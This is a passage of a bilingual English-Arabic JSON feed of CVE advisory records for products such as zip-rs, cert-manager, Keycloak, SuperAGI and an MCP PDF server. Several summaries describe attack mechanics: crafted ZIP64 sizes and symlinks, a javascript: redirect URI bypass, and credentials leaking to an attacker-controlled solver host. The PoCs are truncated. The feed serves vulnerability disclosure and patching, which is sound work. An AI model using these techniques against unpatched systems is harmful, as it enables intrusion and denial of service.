المضيف."},"refs":[["https://community.ui.com/releases/Security-Advisory-Bulletin-072/351a6d54-3ef7-49b4-ac99-b3a5388a9808","ref"]],"epss":0.0029,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"ubiquiti-inc-wifiman-desktop"},{"id":"CVE-2026-119249","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cwe":"CWE-1327","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-29T18:23:36Z","product":"Ubiquiti Inc WiFiman Desktop","affected":[["0 – <1.3.0","1.3.0"]],"title":{"en":"A malicious actor with access to the network could exploit a Binding to an Unrestricted IP Address vulnerability found in WiFiman Desktop to obtain in","ar":"جهة خبيثة تملك وصولاً إلى الشبكة قد تستغل ثغرة الربط بعنوان IP غير مقيد في WiFiman Desktop"},"summary":{"en":"A malicious actor with access to the network could exploit a Binding to an Unrestricted IP Address vulnerability found in WiFiman Desktop to obtain information about the host device.","ar":"يمكن لجهة خبيثة تملك وصولاً إلى الشبكة استغلال ثغرة الربط بعنوان IP غير مقيد (Binding to an Unrestricted IP Address) موجودة في WiFiman Desktop للحصول على معلومات حول الجهاز المضيف."},"refs":[["https://community.ui.com/releases/Security-Advisory-Bulletin-072/351a6d54-3ef7-49b4-ac99-b3a5388a9808","ref"]],"epss":0.0034,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"ubiquiti-inc-wifiman-desktop"},{"id":"CVE-2026-51903","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","cwe":"CWE-284","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-29T18:17:32Z","product":"Unknown product","affected":[],"title":{"en":"SuperAGI v0.0.14 contains an improper access control vulnerability in get_agent_by_latest_execution in superagi/controllers/agent_execution.py.","ar":"يحتوي SuperAGI v0.0.14 على ثغرة تحكم غير سليم في الوصول في get_agent_by_latest_execution في superagi/controllers/agent_execution.py."},"summary":{"en":"SuperAGI v0.0.14 contains an improper access control vulnerability in get_agent_by_latest_execution in superagi/controllers/agent_execution.py. A remote authenticated attacker from one organization can retrieve latest execution and agent metadata for another organization's project through /agentexecutions/get/latest/agent/project/{project_id} by supplying a victim project_id.","ar":"يحتوي SuperAGI v0.0.14 على ثغرة تحكم غير سليم في الوصول في get_agent_by_latest_execution في superagi/controllers/agent_execution.py. يمكن لمهاجم مصدق عن بُعد من مؤسسة واحدة استرداد أحدث تنفيذ وبيانات تعريف الوكيل لمشروع مؤسسة أخرى عبر /agentexecutions/get/latest/agent/project/{project_id} من خلال توفير project_id للضحية."},"refs":[["https://gist.github.com/Ro1ME/d5e2ff57f9ed891bac0d401c0a7e9aae","ref"],["https://github.com/TransformerOptimus/SuperAGI","ref"]],"epss":0.0026,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2026-107057","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-926","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-29T17:17:58Z","product":"Unknown product","affected":[],"title":{"en":"An issue in AndBible versionCode 1111 allows attackers to execute arbitrary code via uploading a crafted module zip.","ar":"مشكلة في AndBible الإصدار versionCode 1111 تسمح للمهاجمين بتنفيذ شيفرة عشوائية عبر رفع ملف zip لوحدة مصممة خصيصًا."},"summary":{"en":"An issue in AndBible versionCode 1111 allows attackers to execute arbitrary code via uploading a crafted module zip.","ar":"مشكلة في AndBible الإصدار versionCode 1111 تسمح للمهاجمين بتنفيذ شيفرة عشوائية عبر رفع ملف zip لوحدة مصممة خصيصًا."},"refs":[["https://f-droid.org/packages/net.bible.android.activity/","ref"],["https://github.com/AndBible/and-bible","ref"],["https://github.com/FFG0d/fdroid-android-advisories/blob/main/advisories/CVE-2026-107057.md","ref"]],"epss":0.0039,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2026-107053","cvss":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","cwe":"CWE-22","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-29T17:17:58Z","product":"Unknown product","affected":[],"title":{"en":"Insecure permissions in foobnix Librera PDF Reader versionCode 7222 allows unauthorized attackers to arbitrarily write and truncate files in a shared ","ar":"صلاحيات غير آمنة في تطبيق foobnix Librera PDF Reader بالإصدار رقم versionCode 7222 تسمح لمهاجمين غير مصرح لهم بكتابة واختصار الملفات بشكل عشوائي في مساحة تخزين مشتركة"},"summary":{"en":"Insecure permissions in foobnix Librera PDF Reader versionCode 7222 allows unauthorized attackers to arbitrarily write and truncate files in a shared storage space outside of the sandbox.","ar":"تسمح الصلاحيات غير الآمنة في تطبيق foobnix Librera PDF Reader بالإصدار رقم versionCode 7222 لمهاجمين غير مصرح لهم بكتابة واختصار الملفات بشكل عشوائي في مساحة تخزين مشتركة خارج نطاق الحماية (sandbox)."},"refs":[["https://f-droid.org/packages/com.foobnix.pro.pdf.reader/","ref"],["https://github.com/FFG0d/fdroid-android-advisories/blob/main/advisories/CVE-2026-107053.md","ref"],["https://github.com/foobnix/LibreraReader","ref"]],"epss":0.0016,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2026-107043","cvss":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","cwe":"CWE-926","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-29T17:17:56Z","product":"Unknown product","affected":[],"title":{"en":"Insecure permissions in Code Catcher versionCode 131 allow unauthorized attackers to arbitrarily manipulate the app's SMS-code-capture mechanism.","ar":"صلاحيات غير آمنة في تطبيق Code Catcher بالإصدار رقم versionCode 131 تسمح لمهاجمين غير مصرح لهم بالتلاعب بآلية التقاط رموز الرسائل القصيرة الخاصة بالتطبيق بشكل عشوائي."},"summary":{"en":"Insecure permissions in Code Catcher versionCode 131 allow unauthorized attackers to arbitrarily manipulate the app's SMS-code-capture mechanism.","ar":"تسمح الصلاحيات غير الآمنة في تطبيق Code Catcher بالإصدار رقم versionCode 131 لمهاجمين غير مصرح لهم بالتلاعب بآلية التقاط رموز الرسائل القصيرة الخاصة بالتطبيق بشكل عشوائي."},"refs":[["https://f-droid.org/packages/co.ec.cnsyn.codecatcher/","ref"],["https://github.com/FFG0d/fdroid-android-advisories/blob/main/advisories/CVE-2026-107043.md","ref"]],"epss":0.0016,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2026-115907","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-400","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-29T16:40:19Z","product":"zip","affected":[[">= 5.1.0, < 9.0.0","9.0.0"]],"title":{"en":"zip: legacy Shrink/Reduce/Implode decoder: denial of service from attacker-controlled ZIP64 uncompressed size","ar":"ثغرة عالية الخطورة في zip"},"summary":{"en":"### Summary A malicious 149-byte ZIP archive can cause a denial of service in applications that enable `legacy-zip` and use `ZipArchive::extract()`. An attacker-controlled ZIP64 uncompressed size triggers a `capacity overflow` panic in the Shrink decoder in optimized builds, potentially terminating the affected process. ### Details When reading a Shrink-compressed entry, `ShrinkDecoder::read()` buffers the compressed input and reserves output capacity using the entry's declared uncompressed size: ```rust if !self.stream_read { self.stream_read = true; let mut compressed_bytes = Vec::new(); self.compressed_reader.read_to_end(&mut compressed_bytes)?; self.stream.reserve(self.uncompressed_size as usize); hwunshrink( &compressed_bytes, self.uncompressed_size as usize, &mut self.stream, )?; } ``` In version 8.6.0, this is located in [`src/legacy/shrink.rs`](https://github.com/zip-rs/zip2/blob/771dfc534d2614158af5497ea3dff4d4208d7db1/src/legacy/shrink.rs#L341-L352). The vulnerable legacy codecs are compiled when the `legacy-zip` Cargo feature is enabled. `self.uncompressed_size` is populated from ZIP metadata. For ZIP64 entries, an attacker can set it to a 64-bit value independently of the archive's actual compressed payload size. The PoC declares an uncompressed size of `u64::MAX`, while supplying only one byte of compressed data. The reserve occurs before `hwunshrink()` can validate or decode the compressed stream. Consequently, the impossible capacity causes a deterministic `capacity overflow` panic instead of returning a normal archive or I/O error. The behavior also occurs in optimized release builds and is reachable through `ZipArchive::extract()`. The same unbounded allocation pattern is present in the legacy Reduce and Implode decoder implementations. This PoC specifically demonstrates the Shrink path. ### PoC Create a new Cargo project with the following layout: ```text zip2-legacy-poc/ |-- Cargo.toml `-- src/ `-- main.rs ``` Use this `Cargo.toml`: ```toml [pack…","ar":"### Summary A malicious 149-byte ZIP archive can cause a denial of service in applications that enable `legacy-zip` and use `ZipArchive::extract()`. An attacker-controlled ZIP64 uncompressed size triggers a `capacity overflow` panic in the Shrink decoder in optimized builds, potentially terminating the affected process. ### Details When reading a Shrink-compressed entry, `ShrinkDecoder::read()` buffers the compressed input and reserves output capacity using the entry's declared uncompressed size: ```rust if !self.stream_read { self.stream_read = true; let mut compressed_bytes = Vec::new(); self.compressed_reader.read_to_end(&mut compressed_bytes)?; self.stream.reserve(self.uncompressed_size as usize); hwunshrink( &compressed_bytes, self.uncompressed_size as usize, &mut self.stream, )?; } ``` In version 8.6.0, this is located in [`src/legacy/shrink.rs`](https://github.com/zip-rs/zip2/blob/771dfc534d2614158af5497ea3dff4d4208d7db1/src/legacy/shrink.rs#L341-L352). The vulnerable legacy codecs are compiled when the `legacy-zip` Cargo feature is enabled. `self.uncompressed_size` is populated from ZIP metadata. For ZIP64 entries, an attacker can set it to a 64-bit value independently of the archive's actual compressed payload size. The PoC declares an uncompressed size of `u64::MAX`, while supplying only one byte of compressed data. The reserve occurs before `hwunshrink()` can validate or decode the compressed stream. Consequently, the impossible capacity causes a deterministic `capacity overflow` panic instead of returning a normal archive or I/O error. The behavior also occurs in optimized release builds and is reachable through `ZipArchive::extract()`. The same unbounded allocation pattern is present in the legacy Reduce and Implode decoder implementations. This PoC specifically demonstrates the Shrink path. ### PoC Create a new Cargo project with the following layout: ```text zip2-legacy-poc/ |-- Cargo.toml `-- src/ `-- main.rs ``` Use this `Cargo.toml`: ```toml [pack…"},"refs":[["https://github.com/advisories/GHSA-9hj8-73fh-9963","advisory"],["https://github.com/zip-rs/zip2/security/advisories/GHSA-9hj8-73fh-9963","ref"],["https://nvd.nist.gov/vuln/detail/CVE-2026-115907","ref"],["https://github.com/zip-rs/zip2/pull/991","ref"],["https://github.com/zip-rs/zip2/commit/8b4991288b79ad11cce201c2d785d5baa795bd3e","ref"],["https://github.com/zip-rs/zip2/releases/tag/v9.0.0","ref"]],"epss":0.0035,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"zip"},{"id":"CVE-2026-115908","cvss":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H","cwe":"CWE-22","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-29T16:40:12Z","product":"zip","affected":[[">= 7.2.0, < 9.0.0","9.0.0"]],"title":{"en":"zip: Arbitrary file write outside the extraction directory, because ZipArchive::extract validates symlink targets lexically.","ar":"ثغرة اجتياز مسار في zip"},"summary":{"en":"### Summary - **Verified version:** zip `9.0.0-pre3` - **Affected versions:** `7.2.0` and later - **Precondition:** The attacker knows (or can guess) the absolute path of the extraction destination The validation applied to symlinks is purely lexical. As a result, an attacker can write arbitrary files outside the extraction directory through a symlink. Exploitation requires the attacker to know (or guess) the absolute path of the destination, but this is realistic in practice: CI workspaces, `/opt/app`, a fixed Downloads path, and so on. > **Impact extends further on Windows (verified on real hardware for both the separate-drive and UNC-share cases)**: > Because `simplified_components` discards the `Prefix` component, paths like `D:\\<same tail as dest>` or a UNC path `\\\\attacker\\share\\<same tail>` pass the `starts_with` check. > As a result, `outpath.push` gets replaced onto a different drive/remote share, so **a single symlink is enough — no intermediate symlink chain is required**. > That said, creating a symlink on Windows requires `SeCreateSymbolicLinkPrivilege` (administrator rights or Developer Mode enabled). > **Real-hardware verification (Windows 10 VM (19045.2604), `tests/poc_win.rs`)**: > With the extraction target set to a temporary directory under `C:`, both of the following paths returned `Ok(())` from `extract()` and successfully wrote outside the extraction target. > In both cases `extract()` returned no error (`Ok(())`), and it was confirmed that the contents of `pwned.txt` matched the attacker-specified value. ### Relationship to CVE-2025-29787 This is **not a duplicate** of the existing [CVE-2025-29787](https://github.com/zip-rs/zip2/security/advisories/GHSA-94vh-gphv-8pm8) (2025-03); rather, **the protection introduced for that CVE was subsequently lost**. #### Timeline (git history, UTC) | commit | Date | Description | | ---------- | ---------- | ----------------------------------------------------------------------------------------------------…","ar":"### Summary - **Verified version:** zip `9.0.0-pre3` - **Affected versions:** `7.2.0` and later - **Precondition:** The attacker knows (or can guess) the absolute path of the extraction destination The validation applied to symlinks is purely lexical. As a result, an attacker can write arbitrary files outside the extraction directory through a symlink. Exploitation requires the attacker to know (or guess) the absolute path of the destination, but this is realistic in practice: CI workspaces, `/opt/app`, a fixed Downloads path, and so on. > **Impact extends further on Windows (verified on real hardware for both the separate-drive and UNC-share cases)**: > Because `simplified_components` discards the `Prefix` component, paths like `D:\\<same tail as dest>` or a UNC path `\\\\attacker\\share\\<same tail>` pass the `starts_with` check. > As a result, `outpath.push` gets replaced onto a different drive/remote share, so **a single symlink is enough — no intermediate symlink chain is required**. > That said, creating a symlink on Windows requires `SeCreateSymbolicLinkPrivilege` (administrator rights or Developer Mode enabled). > **Real-hardware verification (Windows 10 VM (19045.2604), `tests/poc_win.rs`)**: > With the extraction target set to a temporary directory under `C:`, both of the following paths returned `Ok(())` from `extract()` and successfully wrote outside the extraction target. > In both cases `extract()` returned no error (`Ok(())`), and it was confirmed that the contents of `pwned.txt` matched the attacker-specified value. ### Relationship to CVE-2025-29787 This is **not a duplicate** of the existing [CVE-2025-29787](https://github.com/zip-rs/zip2/security/advisories/GHSA-94vh-gphv-8pm8) (2025-03); rather, **the protection introduced for that CVE was subsequently lost**. #### Timeline (git history, UTC) | commit | Date | Description | | ---------- | ---------- | ----------------------------------------------------------------------------------------------------…"},"refs":[["https://github.com/advisories/GHSA-hjqx-j4rw-g7xv","advisory"],["https://github.com/zip-rs/zip2/security/advisories/GHSA-hjqx-j4rw-g7xv","ref"],["https://nvd.nist.gov/vuln/detail/CVE-2026-115908","ref"],["https://github.com/zip-rs/zip2/commit/09c030eab56e8db8fb3c1c33f554407b30bad8fa","ref"],["https://github.com/zip-rs/zip2/releases/tag/v9.0.0","ref"]],"epss":0.0043,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"zip"},{"id":"CVE-2026-115909","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-400","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-29T16:40:01Z","product":"zip","affected":[[">= 1.3.0, < 9.0.0","9.0.0"]],"title":{"en":"zip: Unbounded Symlink-Target Handling Can Abort Or Exhaust Memory During Extraction","ar":"ثغرة عالية الخطورة في zip"},"summary":{"en":"### Summary The symbolic-link branch of `ZipArchive::extract_internal()` allocates a buffer using an attacker-declared size before reading any entry data. A 112-byte archive terminates the extracting process with `SIGABRT` through this infallible allocation. ### Details ```rust #[cfg(any(unix, windows))] if file.is_symlink() { let mut target = Vec::with_capacity(file.size() as usize); // @audit unbounded memory allocation file.read_to_end(&mut target)?; drop(file); make_symlink(&outpath, &target, &self.shared.files)?; continue; } ``` [`src/read/mod.rs#L399-L405`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/read/mod.rs#L399-L405) (reviewed commit `6f09b306`); the same code is at [`src/read.rs#L417-L418`](https://github.com/zip-rs/zip2/blob/v8.6.0/src/read.rs#L417-L418) in released v8.6.0. Both inputs are attacker-controlled: - [`ZipFile::size()`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/read/zipfile.rs#L243-L246) returns `uncompressed_size` verbatim from the central directory record. A ZIP64 extended-information extra field widens it to a full `u64` ([`src/read/mod.rs#L619-L625`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/read/mod.rs#L619-L625)). It is never cross-checked against the compressed size, the remaining archive length, or any platform-appropriate bound for a symlink target. - [`ZipFile::is_symlink()`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/read/zipfile.rs#L256-L260) is decided entirely by the central directory's external-attributes field, via the `S_IFLNK` bit. **Memory allocation failure → uncatchable process abort.** The reservation is sized from the declared `uncompressed_size` before a single byte of the entry is read. `Vec::with_capacity()` is infallible: on allocator refusal it calls `handle_alloc_error()`, which aborts the process. This is not a Rust panic — it is not caught by `catch_unwind()`…","ar":"### Summary The symbolic-link branch of `ZipArchive::extract_internal()` allocates a buffer using an attacker-declared size before reading any entry data. A 112-byte archive terminates the extracting process with `SIGABRT` through this infallible allocation. ### Details ```rust #[cfg(any(unix, windows))] if file.is_symlink() { let mut target = Vec::with_capacity(file.size() as usize); // @audit unbounded memory allocation file.read_to_end(&mut target)?; drop(file); make_symlink(&outpath, &target, &self.shared.files)?; continue; } ``` [`src/read/mod.rs#L399-L405`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/read/mod.rs#L399-L405) (reviewed commit `6f09b306`); the same code is at [`src/read.rs#L417-L418`](https://github.com/zip-rs/zip2/blob/v8.6.0/src/read.rs#L417-L418) in released v8.6.0. Both inputs are attacker-controlled: - [`ZipFile::size()`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/read/zipfile.rs#L243-L246) returns `uncompressed_size` verbatim from the central directory record. A ZIP64 extended-information extra field widens it to a full `u64` ([`src/read/mod.rs#L619-L625`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/read/mod.rs#L619-L625)). It is never cross-checked against the compressed size, the remaining archive length, or any platform-appropriate bound for a symlink target. - [`ZipFile::is_symlink()`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/read/zipfile.rs#L256-L260) is decided entirely by the central directory's external-attributes field, via the `S_IFLNK` bit. **Memory allocation failure → uncatchable process abort.** The reservation is sized from the declared `uncompressed_size` before a single byte of the entry is read. `Vec::with_capacity()` is infallible: on allocator refusal it calls `handle_alloc_error()`, which aborts the process. This is not a Rust panic — it is not caught by `catch_unwind()`…"},"refs":[["https://github.com/advisories/GHSA-q7v9-x93c-xqv3","advisory"],["https://github.com/zip-rs/zip2/security/advisories/GHSA-q7v9-x93c-xqv3","ref"],["https://nvd.nist.gov/vuln/detail/CVE-2026-115909","ref"],["https://github.com/zip-rs/zip2/pull/984","ref"],["https://github.com/zip-rs/zip2/commit/a543a1fc8f3f3eef36f27bb137230295284cdb98","ref"],["https://github.com/zip-rs/zip2/releases/tag/v9.0.0","ref"]],"epss":0.0046,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"zip"},{"id":"CVE-2026-62290","cvss":7.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","cwe":"CWE-863","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-29T16:39:41Z","product":"github.com/cert-manager/cert-manager","affected":[[">= 1.18.0, < 1.19.6","1.19.6"],[">= 1.20.0-alpha.0, < 1.20.3","1.20.3"]],"title":{"en":"cert-manager: Direct ACME Challenge resources can bypass Issuer DNS01 solver policy and use ClusterIssuer DNS credentials","ar":"cert-manager: يمكن لموارد ACME Challenge المباشرة تجاوز سياسة أداة حل Issuer DNS01 واستخدام أوراق اعتماد DNS الخاصة بـ ClusterIssuer"},"summary":{"en":"## Summary `Challenge` resources under `acme.cert-manager.io` can be created directly by namespace users. On create, cert-manager performs no admission validation tying the Challenge to an `Order`, an owner reference, or an Issuer-selected solver. The ACME Challenge controller then reconciles the direct resource and uses `Challenge.spec.solver` as the DNS01 provider configuration. When the direct Challenge references a `ClusterIssuer`, cert-manager derives the DNS provider secret namespace and ambient-credential policy from the `ClusterIssuer` reference, but the DNS provider configuration itself is attacker-controlled through `Challenge.spec.solver`. This lets a namespace user bypass `Issuer`/`ClusterIssuer` solver selectors such as `dnsZones`, `dnsNames`, and `matchLabels`, and make the cert-manager controller use ClusterIssuer DNS credentials for attacker-selected provider settings and DNS names. In the acme-dns case, this becomes credential disclosure because the attacker-controlled solver host receives the `X-Api-User` and `X-Api-Key` headers loaded by cert-manager from the ClusterIssuer resource namespace. ## Attack preconditions - The attacker can create `challenges.acme.cert-manager.io` resources in at least one namespace. - The cert-manager controller is running and reconciles ACME `Challenge` resources cluster-wide. - A usable `ClusterIssuer` exists in the cluster. - The referenced `ClusterIssuer` has a DNS01 solver that uses a Secret in the cluster resource namespace, or relies on ambient credentials enabled for `ClusterIssuer`. - The cluster is multi-tenant or otherwise separates namespace users from platform-owned Issuer/ClusterIssuer and DNS credential administration. ## Severity Rationale: a tenant with namespace-level ACME Challenge create permissions, including permissions granted by cert-manager's aggregate edit role, can cause a cluster-scoped controller to use DNS credentials or ambient cloud credentials outside the Issuer's intended solver polic…","ar":"## الملخص يمكن إنشاء موارد `Challenge` التابعة لـ `acme.cert-manager.io` مباشرة من قبل مستخدمي مساحة الأسماء. عند الإنشاء، لا يجري cert-manager أي تحقق من القبول يربط الـ Challenge بـ `Order` أو مرجع المالك أو أداة حل مختارة من `Issuer`. ثم يقوم متحكم ACME Challenge بتسوية المورد المباشر ويستخدم `Challenge.spec.solver` كتهيئة لمزود DNS01. عندما يشير الـ Challenge المباشر إلى `ClusterIssuer`، يشتق cert-manager مساحة أسماء السر لمزود DNS وسياسة الاعتماد المحيطة من مرجع `ClusterIssuer`، لكن تهيئة مزود DNS نفسها تكون تحت سيطرة المهاجم من خلال `Challenge.spec.solver`. يتيح هذا لمستخدم مساحة الأسماء تجاوز محددات أداة الحل في `Issuer`/`ClusterIssuer` مثل `dnsZones` و `dnsNames` و `matchLabels`، وجعل متحكم cert-manager يستخدم أوراق اعتماد DNS لـ ClusterIssuer للإعدادات وأسماء DNS التي يختارها المهاجم. في حالة acme-dns، يتحول هذا إلى الكشف عن أوراق الاعتماد لأن مضيف أداة الحل الذي يتحكم به المهاجم يتلقى ترويسات `X-Api-User` و `X-Api-Key` المحملة بواسطة cert-manager من مساحة أسماء موارد ClusterIssuer. ## الشروط المسبقة للهجوم - يمكن للمهاجم إنشاء موارد `challenges.acme.cert-manager.io` في مساحة أسماء واحدة على الأقل. - يعمل متحكم cert-manager ويقوم بتسوية موارد ACME `Challenge` على مستوى المجمع (cluster-wide). - يوجد `ClusterIssuer` قابل للاستخدام في المجمع. - يحتوي `ClusterIssuer` المشار إليه على أداة حل DNS01 تستخدم Secret في مساحة أسماء موارد المجمع، أو يعتمد على أوراق الاعتماد المحيطة الممكنة لـ `ClusterIssuer`. - المجمع متعدد المستأجرين أو يفصل بطريقة أخرى مستخدمي مساحة الأسماء عن إدارة أوراق اعتماد DNS و Issuer/ClusterIssuer المملوكة للمنصة. ## مبرر الخطورة..."},"refs":[["https://github.com/advisories/GHSA-8rvj-mm4h-c258","advisory"],["https://github.com/cert-manager/cert-manager/security/advisories/GHSA-8rvj-mm4h-c258","ref"],["https://nvd.nist.gov/vuln/detail/CVE-2026-62290","ref"],["https://github.com/cert-manager/cert-manager/pull/8940","ref"],["https://github.com/cert-manager/cert-manager/pull/8941","ref"],["https://github.com/cert-manager/cert-manager/commit/6bda47297c8fbc6b121b8b76624b668d26f1a155","ref"],["https://github.com/cert-manager/cert-manager/commit/b37dbf01ecea50a0b3a19df0a7fe4c5ad6803f16","ref"],["https://github.com/cert-manager/cert-manager/releases/tag/v1.19.6","ref"],["https://github.com/cert-manager/cert-manager/releases/tag/v1.20.3","ref"]],"epss":0.0011,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"github-com-cert-manager-cert-manager"},{"id":"CVE-2026-9086","cvss":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N","cwe":"CWE-79","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-29T16:39:03Z","product":"org.keycloak:keycloak-services","affected":[["< 26.6.4","26.6.4"]],"title":{"en":"Keycloak vulnerable to cross-site scripting (xss) via case-insensitive uri validation bypass","ar":"Keycloak معرض لتنفيذ البرمجة النصية عبر المواقع (XSS) عبر تجاوز التحقق من معرفات URI بغض النظر عن حالة الأحرف"},"summary":{"en":"### Description A flaw was found in Keycloak. A remote attacker with administrative privileges, specifically those with `manage-client` permission or access to client registration endpoints, could bypass client Uniform Resource Identifier (URI) validation. This is achieved by registering a malicious client with a specially crafted redirect URI using a case-insensitive `javascript:` or `data:` scheme. This Cross-Site Scripting (XSS) vulnerability allows for arbitrary code execution in the Keycloak origin when a victim clicks the crafted link, such as in the logout flow or the Admin Console.","ar":"وصف: تم اكتشاف ثغرة في Keycloak تمكن مهاجماً عن بُعد يملك صلاحيات إدارية من تجاوز التحقق من معرفات الموارد المنتظمة (URI) للعملاء، وذلك عبر تسجيل عميل خبيث باستخدام مخطط javascript: أو data:، مما يسمح بتنفيذ شيفرة عشوائية."},"refs":[["https://github.com/advisories/GHSA-v3f7-2p4r-mwfw","advisory"],["https://github.com/keycloak/keycloak/security/advisories/GHSA-v3f7-2p4r-mwfw","ref"],["https://nvd.nist.gov/vuln/detail/CVE-2026-9086","ref"],["https://access.redhat.com/errata/RHSA-2026:30049","ref"],["https://access.redhat.com/errata/RHSA-2026:30050","ref"],["https://access.redhat.com/errata/RHSA-2026:30083","ref"],["https://access.redhat.com/errata/RHSA-2026:30084","ref"],["https://access.redhat.com/security/cve/CVE-2026-9086","ref"],["https://bugzilla.redhat.com/show_bug.cgi?id=2480170","ref"],["https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-9086.json","ref"]],"epss":0.0078,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"org-keycloak-keycloak-services"},{"id":"CVE-2026-9800","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","cwe":"CWE-1025","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-29T16:37:26Z","product":"org.keycloak:keycloak-services","affected":[["< 26.6.4","26.6.4"],["< 26.0.10","26.0.10"]],"title":{"en":"Keycloak vulnerable to authorization bypass via incorrect uri comparison","ar":"Keycloak معرض لتجاوز الصلاحيات بسبب مقارنة غير صحيحة لمعرفات URI"},"summary":{"en":"### Description A flaw was found in Keycloak Policy Enforcer. This vulnerability allows any authenticated user to bypass all authorization policies, including role, scope, and User-Managed Access (UMA) permission checks. By including the configured access-denied page path within a request URL, either as a path segment or a query parameter, an attacker can gain unauthorized access to protected resources.","ar":"وصف: تم اكتشاف ثغرة في Keycloak Policy Enforcer تتيح لأي مهاجم يملك حسابًا مصادقًا عليه تجاوز سياسات التفويض عبر تضمين مسار صفحة الوصول المرفوضة في عنوان URL الخاص بالطلب."},"refs":[["https://github.com/advisories/GHSA-f5p5-6xmx-p252","advisory"],["https://github.com/keycloak/keycloak/security/advisories/GHSA-f5p5-6xmx-p252","ref"],["https://nvd.nist.gov/vuln/detail/CVE-2026-9800","ref"],["https://access.redhat.com/errata/RHSA-2026:30049","ref"],["https://access.redhat.com/errata/RHSA-2026:30050","ref"],["https://access.redhat.com/errata/RHSA-2026:30083","ref"],["https://access.redhat.com/errata/RHSA-2026:30084","ref"],["https://access.redhat.com/errata/RHSA-2026:36002","ref"],["https://access.redhat.com/errata/RHSA-2026:36013","ref"],["https://access.redhat.com/errata/RHSA-2026:50846","ref"],["https://access.redhat.com/errata/RHSA-2026:50847","ref"],["https://access.redhat.com/security/cve/CVE-2026-9800","ref"]],"epss":0.0065,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"org-keycloak-keycloak-services"},{"id":"CVE-2026-62264","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cwe":"CWE-200","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-29T16:34:35Z","product":"@sylphx/pdf-reader-mcp","affected":[[">= 2.2.0, < 3.0.1","3.0.1"]],"title":{"en":"@sylphx/pdf-reader-mcp: HTTP transport accepts unauthenticated requests despite a configured MCP_API_KEY","ar":"@sylphx/pdf-reader-mcp: وسيط نقل HTTP يقبل الطلبات غير المصادق عليها رغم ضبط MCP_API_KEY"},"summary":{"en":"### Impact When `@sylphx/pdf-reader-mcp` is run as an HTTP server (`MCP_TRANSPORT=http`), it reads the `MCP_API_KEY` environment variable and logs `API key authentication enabled (X-API-Key header)` at startup, but it never validated the `X-API-Key` header on incoming requests. The key was read into a variable and never enforced on the request path. As a result, the `/mcp` endpoint accepted **unauthenticated** requests. Combined with the default bind address of `0.0.0.0` (all interfaces), any client able to reach the port could invoke every PDF tool and read the contents of any PDF the server process could open anywhere on the 